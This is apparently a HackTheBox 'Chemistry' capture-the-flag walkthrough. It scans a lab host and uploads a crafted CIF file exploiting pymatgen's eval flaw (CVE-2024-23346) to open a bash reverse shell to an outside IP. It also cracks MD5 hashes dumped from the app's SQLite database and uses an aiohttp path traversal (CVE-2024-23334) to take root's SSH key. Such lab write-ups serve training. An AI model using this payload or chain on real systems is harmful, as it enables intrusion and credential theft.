
Week 12. Chemistry
TL;DR
This is an Ubuntu 20.04 machine hosting an application used to upload CIF files. This is a format used by scientific programs for storing crystallographic structural data. The applications used to read the data contained in the files are based on Python but, unfortunately, one of the parsing libraries is vulnerable since it calls eval()
function without proper sanitization (CVE-2024-23346). We exploit this to get an initial shell in the system, then move laterally to another user after finding an MD5 hash in a local SQLite database file. Regarding escalation, we exploit a web application based on library aiohttp/3.9.1, a version vulnerable to path traversal (CVE-2024-23334).
KEYWORDS
Crystallographic Information Files (CIF), pymatgen, CVE-2024-23346, SQLite, aiohttp/3.9.1, CVE-2024-23334.
REFERENCES
https://www.ccdc.cam.ac.uk/media/MoreInformationAboutCIFsyntax.pdf
https://www.cvedetails.com/cve/CVE-2024-23346
https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f
https://www.cvedetails.com/cve/CVE-2024-23334
ENUMERATION
Port scan.
> nmap $target -p- --min-rate=5000 -Pn --open --reason
Starting Nmap 7.93 ( https://nmap.org ) at 2024-11-27 11:15 EST
Nmap scan report for chemistry.htb (10.10.11.38)
Host is up, received user-set (0.039s latency).
Not shown: 64413 closed tcp ports (conn-refused), 1120 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
5000/tcp open upnp syn-ack
Nmap done: 1 IP address (1 host up) scanned in 13.90 seconds
Enumerate the open ports.
> nmap $target -p22,5000 -sV -sC -Pn -vv -n
Starting Nmap 7.93 ( https://nmap.org ) at 2024-11-27 11:18 EST
Nmap scan report for 10.10.11.38
Host is up, received user-set (0.044s latency).
Scanned at 2024-11-27 11:18:39 EST for 96s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b6fc20ae9d1d451d0bced9d020f26fdc (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCj5eCYeJYXEGT5pQjRRX4cRr4gHoLUb/riyLfCAQMf40a6IO3BMzwyr3OnfkqZDlr6o9tS69YKDE9ZkWk01vsDM/T1k/m1ooeOaTRhx2Yene9paJnck8Stw4yVWtcq6PPYJA3HxkKeKyAnIVuYBvaPNsm+K5+rsafUEc5FtyEGlEG0YRmyk/NepEFU6qz25S3oqLLgh9Ngz4oGeLudpXOhD4gN6aHnXXUHOXJgXdtY9EgNBfd8paWTnjtloAYi4+ccdMfxO7PcDOxt5SQan1siIkFq/uONyV+nldyS3lLOVUCHD7bXuPemHVWqD2/1pJWf+PRAasCXgcUV+Je4fyNnJwec1yRCbY3qtlBbNjHDJ4p5XmnIkoUm7hWXAquebykLUwj7vaJ/V6L19J4NN8HcBsgcrRlPvRjXz0A2VagJYZV+FVhgdURiIM4ZA7DMzv9RgJCU2tNC4EyvCTAe0rAM2wj0vwYPPEiHL+xXHGSvsoZrjYt1tGHDQvy8fto5RQU=
| 256 f1ae1c3e1dea55446c2ff2568d623c2b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLzrl552bgToHASFlKHFsDGrkffR/uYDMLjHOoueMB9HeLRFRvZV5ghoTM3Td9LImvcLsqD84b5n90qy3peebL0=
| 256 94421b78f25187073e9726c9a25c0a26 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIELLgwg7A8Kh8AxmiUXeMe9h/wUnfdoruCJbWci81SSB
5000/tcp open upnp? syn-ack
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.3 Python/3.9.5
| Date: Wed, 27 Nov 2024 16:19:13 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 719
| Vary: Cookie
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Chemistry - Home</title>
| <link rel="stylesheet" href="/static/styles.css">
| </head>
| <body>
| <div class="container">
| class="title">Chemistry CIF Analyzer</h1>
| <p>Welcome to the Chemistry CIF Analyzer. This tool allows you to upload a CIF (Crystallographic Information File) and analyze the structural data contained within.</p>
| <div class="buttons">
| <center><a href="/login" class="btn">Login</a>
| href="/register" class="btn">Register</a></center>
| </div>
| </div>
| </body>
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.93%I=7%D=11/27%Time=67474665%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,38A,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.0\.3\x2
SF:0Python/3\.9\.5\r\nDate:\x20Wed,\x2027\x20Nov\x202024\x2016:19:13\x20GM
SF:T\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x2
SF:0719\r\nVary:\x20Cookie\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20htm
SF:l>\n<html\x20lang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"U
SF:TF-8\">\n\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=
SF:device-width,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>Chemistr
SF:y\x20-\x20Home</title>\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20
SF:href=\"/static/styles\.css\">\n</head>\n<body>\n\x20\x20\x20\x20\n\x20\
SF:x20\x20\x20\x20\x20\n\x20\x20\x20\x20\n\x20\x20\x20\x20<div\x20class=\"
SF:container\">\n\x20\x20\x20\x20\x20\x20\x20\x20<h1\x20class=\"title\">Ch
SF:emistry\x20CIF\x20Analyzer</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Wel
SF:come\x20to\x20the\x20Chemistry\x20CIF\x20Analyzer\.\x20This\x20tool\x20
SF:allows\x20you\x20to\x20upload\x20a\x20CIF\x20\(Crystallographic\x20Info
SF:rmation\x20File\)\x20and\x20analyze\x20the\x20structural\x20data\x20con
SF:tained\x20within\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\
SF:"buttons\">\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<center><a
SF:\x20href=\"/login\"\x20class=\"btn\">Login</a>\n\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20<a\x20href=\"/register\"\x20class=\"btn\">Regi
SF:ster</a></center>\n\x20\x20\x20\x20\x20\x20\x20\x20</div>\n\x20\x20\x20
SF:\x20</div>\n</body>\n<")%r(RTSPRequest,1F4,"<!DOCTYPE\x20HTML\x20PUBLIC
SF:\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\"http://www\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n\x20\x20\x20\
SF:x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-equiv=\"Conten
SF:t-Type\"\x20content=\"text/html;charset=utf-8\">\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\
SF:x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20res
SF:ponse</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p
SF:>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20ver
SF:sion\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error
SF:\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-\x20Bad\x20requ
SF:est\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x20\x20\x20</b
SF:ody>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 96.77 seconds
There is a web server listening on port 5000, enumerate the site with Firefox.

Sign up a new account and login. A web site to upload CIF files comes into view, the page offers the possibility to download an example of these kind of files.
data_Example
_cell_length_a 10.00000
_cell_length_b 10.00000
_cell_length_c 10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta 90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
_atom_site_label
_atom_site_fract_x
_atom_site_fract_y
_atom_site_fract_z
_atom_site_occupancy
H 0.00000 0.00000 0.00000 1
O 0.50000 0.50000 0.50000 1
It seems these are text files for storing crystallographic structural data and it is used by programs to process the data. More info here: https://www.ccdc.cam.ac.uk/media/MoreInformationAboutCIFsyntax.pdf
There is a vulnerability in one of the in the parsing libraries,pymatgen
, that insecurely calls eval()
function without proper input sanitization. More info here: https://www.cvedetails.com/cve/CVE-2024-23346
A PoC is available here: https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f
USER
Prepare a payload for instant reverse shell. I just took the example CIF file provided in the site and added a payload based on the PoC.
data_Example
_cell_length_a 10.00000
_cell_length_b 10.00000
_cell_length_c 10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta 90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
_atom_site_label
_atom_site_fract_x
_atom_site_fract_y
_atom_site_fract_z
_atom_site_occupancy
H 0.00000 0.00000 0.00000 1
O 0.50000 0.50000 0.50000 1
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.xxx.xxx/1919 0>&1\'");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
Upload the file exploit.cif
and click on "View".

A reverse shell for user app
is received on port 1919.

This user does not have permissions to retrieve the user flag, so we will have to enumerate the rest of the host's users with a defined shell.
> cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
rosa:x:1000:1000:rosa:/home/rosa:/bin/bash
app:x:1001:1001:,,,:/home/app:/bin/bash
It seems we have to move laterally to user rosa
Let's start enumerating the app.py source code in the /home/app
directory.
from flask import Flask, render_template, request, redirect, url_for, flash
from werkzeug.utils import secure_filename
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user
from pymatgen.io.cif import CifParser
import hashlib
import os
import uuid
app = Flask(__name__)
app.config['SECRET_KEY'] = 'MyS3cretCh3mistry4PP'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['UPLOAD_FOLDER'] = 'uploads/'
app.config['ALLOWED_EXTENSIONS'] = {'cif'}
db = SQLAlchemy(app)
login_manager = LoginManager(app)
login_manager.login_view = 'login'
class User(UserMixin, db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(150), nullable=False, unique=True)
password = db.Column(db.String(150), nullable=False)
class Structure(db.Model):
id = db.Column(db.Integer, primary_key=True)
user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
filename = db.Column(db.String(150), nullable=False)
identifier = db.Column(db.String(100), nullable=False, unique=True)
@login_manager.user_loader
def load_user(user_id):
return User.query.get(int(user_id))
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in app.config['ALLOWED_EXTENSIONS']
def calculate_density(structure):
atomic_mass_Si = 28.0855
num_atoms = 2
mass_unit_cell = num_atoms * atomic_mass_Si
mass_in_grams = mass_unit_cell * 1.66053906660e-24
volume_in_cm3 = structure.lattice.volume * 1e-24
density = mass_in_grams / volume_in_cm3
return density
@app.route('/')
def index():
return render_template('index.html')
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if User.query.filter_by(username=username).first():
flash('Username already exists.')
return redirect(url_for('register'))
hashed_password = hashlib.md5(password.encode()).hexdigest()
new_user = User(username=username, password=hashed_password)
db.session.add(new_user)
db.session.commit()
login_user(new_user)
return redirect(url_for('dashboard'))
return render_template('register.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
user = User.query.filter_by(username=username).first()
if user and user.password == hashlib.md5(password.encode()).hexdigest():
login_user(user)
return redirect(url_for('dashboard'))
flash('Invalid credentials')
return render_template('login.html')
@app.route('/logout')
@login_required
def logout():
logout_user()
return redirect(url_for('index'))
@app.route('/dashboard')
@login_required
def dashboard():
structures = Structure.query.filter_by(user_id=current_user.id).all()
return render_template('dashboard.html', structures=structures)
@app.route('/upload', methods=['POST'])
@login_required
def upload_file():
if 'file' not in request.files:
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return redirect(request.url)
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
identifier = str(uuid.uuid4())
filepath = os.path.join(app.config['UPLOAD_FOLDER'], identifier + '_' + filename)
file.save(filepath)
new_structure = Structure(user_id=current_user.id, filename=filename, identifier=identifier)
db.session.add(new_structure)
db.session.commit()
return redirect(url_for('dashboard'))
return redirect(request.url)
@app.route('/structure/<identifier>')
@login_required
def show_structure(identifier):
structure_entry = Structure.query.filter_by(identifier=identifier, user_id=current_user.id).first_or_404()
filepath = os.path.join(app.config['UPLOAD_FOLDER'], structure_entry.identifier + '_' + structure_entry.filename)
parser = CifParser(filepath)
structures = parser.parse_structures()
structure_data = []
for structure in structures:
sites = [{
'label': site.species_string,
'x': site.frac_coords[0],
'y': site.frac_coords[1],
'z': site.frac_coords[2]
} for site in structure.sites]
lattice = structure.lattice
lattice_data = {
'a': lattice.a,
'b': lattice.b,
'c': lattice.c,
'alpha': lattice.alpha,
'beta': lattice.beta,
'gamma': lattice.gamma,
'volume': lattice.volume
}
density = calculate_density(structure)
structure_data.append({
'formula': structure.formula,
'lattice': lattice_data,
'density': density,
'sites': sites
})
return render_template('structure.html', structures=structure_data)
@app.route('/delete_structure/<identifier>', methods=['POST'])
@login_required
def delete_structure(identifier):
structure = Structure.query.filter_by(identifier=identifier, user_id=current_user.id).first_or_404()
filepath = os.path.join(app.config['UPLOAD_FOLDER'], structure.identifier + '_' + structure.filename)
if os.path.exists(filepath):
os.remove(filepath)
db.session.delete(structure)
db.session.commit()
return redirect(url_for('dashboard'))
if __name__ == '__main__':
with app.app_context():
db.create_all()
app.run(host='0.0.0.0', port=5000)
This looks like source code for several API endpoints, and an SQLite database is mentioned also. The database file is in the location /home/app/instance/database.db
Inside the database there are several MD5 hashes, including rosa's.
> sqlite3 database.db
SQLite version 3.39.3 2022-09-05 11:02:23
Enter ".help" for usage hints.
sqlite> .databases
main: /home/kali/htb/chemistry/database.db r/w
sqlite> .tables
structure user
sqlite> select * from user;
1|admin|2861debaf8d99436a10ed6f75a252abf
2|app|197865e46b878d9e74a0346b6d59886a
3|rosa|63ed86ee9f624c7b14f1d4fxxxxxxxxx
4|robert|02fcf7cfc10adc37959fb21f06c6b467
5|jobert|3dec299e06f7ed187bac06bd3b670ab2
6|carlos|9ad48828b0955513f7cf0f7f6510c8f8
7|peter|6845c17d298d95aa942127bdad2ceb9b
8|victoria|c3601ad2286a4293868ec2a4bc606ba3
9|tania|a4aa55e816205dc0389591c9f82f43bb
10|eusebio|6cad48078d0241cca9a7b322ecd073b3
11|gelacia|4af70c80b68267012ecdac9a7e916d18
12|fabian|4e5d71f53fdd2eabdbabb233113b5dc0
13|axel|9347f9724ca083b17e39555c36fd9007
14|kristel|6896ba7b11a62cacffbdaded457c6d92
15|pogoo{10+10}|b53afe43a8396411f3253882b74d00e6
16|test|098f6bcd4621d373cade4e832627b4f6
17|pogoo|b53afe43a8396411f3253882b74d00e6
18|testtest|098f6bcd4621d373cade4e832627b4f6
19|12345|827ccb0eea8a706c4c34a16891f84e7b
20|aaa|47bce5c74f589f4867dbd57e9ca9f808
sqlite> .quit
This can be cracked with john
> john --format=raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash
Use the password to SSH in as rosa
and collect the user flag.

ROOT
Start from rosa's low-priv shell and take the opportunity to enumerate the user and the system.
> whoami && id
rosa
uid=1000(rosa) gid=1000(rosa) groups=1000(rosa)
> uname -a && cat /etc/os-release
Linux chemistry 5.4.0-196-generic #216-Ubuntu SMP Thu Aug 29 13:26:53 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
NAME="Ubuntu"
VERSION="20.04.6 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.6 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal
Enumerate local connections, there is something listening on port 8080.
> netstat -lnput
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN 7878/bash
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
Forward the port to your machine and enumerate the site with Firefox. I used local port 9000 to avoid conflicts with Burpsuite, which I'll use later and is running also on port 8080.
Some kind of monitoring web site appears.

I couldn't find any info related to the site by inspecting it so I captured the traffic with Burpsuite and analyzed the requests
First, it seems the application uses Python 3.9 aiohttp/3.9.1.

And also take note of the application folder structure.

Looking for vulnerabilities affecting the aiohttp library, I found there is a path traversal: https://www.cvedetails.com/cve/CVE-2024-23334
It can be exploited with curl
to retrieve root's private key.

The only thing that's left is to use the private key to log in and gather the root flag.

You are root.
Last updated